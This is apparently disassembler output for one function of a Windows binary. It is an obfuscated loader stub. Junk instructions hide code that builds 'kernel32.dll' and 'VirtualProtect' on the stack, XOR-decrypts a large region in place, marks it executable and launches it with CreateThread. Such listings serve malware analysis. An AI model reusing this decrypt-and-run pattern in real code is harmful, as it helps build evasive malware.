Function at 0x445327
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc eax
dec eax
popfd
call fcn.004456d9
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0xa9035695
add esp, 4
popfd
xchg esi, esi
mov ebx, 0x61
mov ebx, ebx
pushfd
inc edi
dec edi
popfd
add bx, 0xa
pushfd
xor eax, 0x2c3fb02c
xor eax, 0x2c3fb02c
popfd
mov word [eax], bx
pushfd
inc esi
dec esi
popfd
sub bx, 6
push ebx
pop ebx
xchg ecx, eax
xchg ecx, eax
mov word [eax + 2], bx
push ebx
pop ebx
mov ecx, ecx
add bx, 0xd
xchg edx, edx
mov word [eax + 4], bx
mov edx, edx
sub bx, 4
xchg esi, edx
xchg edx, esi
xchg ecx, edx
xchg edx, ecx
mov word [eax + 6], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 9
pushfd
push edi
add esp, 4
popfd
mov word [eax + 8], bx
push ebx
pop ebx
pushfd
inc edx
dec edx
popfd
add bx, 7
mov eax, eax
mov word [eax + 0xa], bx
pushfd
push 0xc440899f
add esp, 4
popfd
sub bx, 0x39
xchg edx, ebx
xchg ebx, edx
push edx
push edi
pop edi
pop edx
mov word [eax + 0xc], bx
pushfd
push ecx
add esp, 4
popfd
dec bx
xchg edi, eax
xchg edi, eax
mov word [eax + 0xe], bx
pushfd
xor eax, 0x8450aa9
xor eax, 0x8450aa9
popfd
sub bx, 4
pushfd
push edx
add esp, 4
popfd
xchg edi, edi
mov word [eax + 0x10], bx
xchg edx, eax
xchg edx, eax
add bx, 0x36
pushfd
xor esi, 0xabbd0a09
xor esi, 0xabbd0a09
popfd
mov word [eax + 0x12], bx
xchg esi, eax
xchg esi, eax
add bx, 8
push eax
pop eax
mov word [eax + 0x14], bx
push edi
pop edi
pushfd
push 0xb11f6052
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
push ecx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
inc ecx
dec ecx
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor ebx, 0x9a45f2bb
xor ebx, 0x9a45f2bb
popfd
mov dword [ebp - 0x10], eax
xchg ebx, eax
xchg ebx, eax
xchg ecx, ecx
lea eax, [ebp - 0xd8]
pushfd
inc ecx
dec ecx
popfd
mov eax, eax
mov ebx, 0x61
pushfd
inc edx
dec edx
popfd
pushfd
xor eax, 0x629b795a
xor eax, 0x629b795a
popfd
sub bl, 0xb
pushfd
push 0x5d65df5f
add esp, 4
popfd
pushfd
push 0x6b9f64a3
add esp, 4
popfd
mov byte [eax], bl
xchg edi, edi
pushfd
push eax
add esp, 4
popfd
add bl, 0x13
xchg ecx, ecx
mov esi, esi
mov byte [eax + 1], bl
push ecx
pop ecx
add bl, 9
push eax
pop eax
mov byte [eax + 2], bl
mov ebx, ebx
add bl, 2
mov ecx, ecx
mov byte [eax + 3], bl
xchg esi, esi
inc bl
pushfd
inc ebx
dec ebx
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 4], bl
pushfd
xor edx, 0xd84a67f0
xor edx, 0xd84a67f0
popfd
sub bl, 0x14
push edi
pop edi
pushfd
push 0xfecde5ec
add esp, 4
popfd
mov byte [eax + 5], bl
xchg edx, edx
mov esi, esi
add bl, 0xb
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 6], bl
pushfd
xor edx, 0x3783d89a
xor edx, 0x3783d89a
popfd
xchg esi, edi
xchg edi, esi
sub bl, 0x1c
mov esi, esi
mov byte [eax + 7], bl
pushfd
push 0xb89ec811
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
add bl, 0x22
push edi
pop edi
mov byte [eax + 8], bl
push ebx
pop ebx
sub bl, 3
mov eax, eax
mov byte [eax + 9], bl
mov ecx, ecx
add bl, 5
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xa], bl
push ebx
pop ebx
sub bl, 0xf
xchg ecx, eax
xchg ecx, eax
nop
mov byte [eax + 0xb], bl
push esi
pop esi
push ebx
push ecx
pop ecx
pop ebx
sub bl, 2
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xc], bl
push edi
push edx
pop edx
pop edi
pushfd
push 0x6aea677d
add esp, 4
popfd
add bl, 0x11
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
push 0x2bb69045
add esp, 4
popfd
mov byte [eax + 0xe], 0
mov edi, edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push edx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 8]
pushfd
inc ebx
dec ebx
popfd
pushfd
push edi
add esp, 4
popfd
push eax
push 4
push 0x28693
push entry0
call dword [ebp - 0xc]
pushfd
push edi
add esp, 4
popfd
mov edi, entry0
pushfd
push 0xa1dae287
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
mov esi, 0x40100e
nop
mov ecx, 0x28693
push ecx
pop ecx
mov edx, 0xbc699ab0
pushfd
push 0xc8d20969
add esp, 4
popfd
push ebx
push ecx
pop ecx
pop ebx
mov ebx, 0x7b37fd93
pushfd
xor ecx, 0xf88bb409
xor ecx, 0xf88bb409
popfd
pushfd
push ebx
add esp, 4
popfd
cld
mov esi, esi
lodsb al, byte [esi]
mov eax, eax
xor al, dl
xchg ecx, ecx
stosb byte es:[edi], al
xchg ebx, ebx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
mov edi, edi
test ebx, 1
xchg edx, edx
je 0x445647
mov eax, eax
add esi, 1
xchg edi, edi
ror ebx, 1
xchg edx, edx
dec ecx
mov ecx, ecx
test ecx, ecx
xchg ecx, ecx
jne 0x445620
pushfd
push edi
add esp, 4
popfd
push edi
push edx
pop edx
pop edi
lea eax, [ebp - 8]
pushfd
inc ecx
dec ecx
popfd
push eax
push 0x20
push 0x28693
push entry0
call dword [ebp - 0xc]
mov eax, eax
mov esi, esi
lea eax, [ebp - 4]
pushfd
push 0xd9f15162
add esp, 4
popfd
mov esi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ecx, edx
xchg edx, ecx
push ebx
pop ebx
pushfd
xor ebx, 0xd0ab95c3
xor ebx, 0xd0ab95c3
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push edi
push ebx
pop ebx
pop edi
jmp 0x4456a2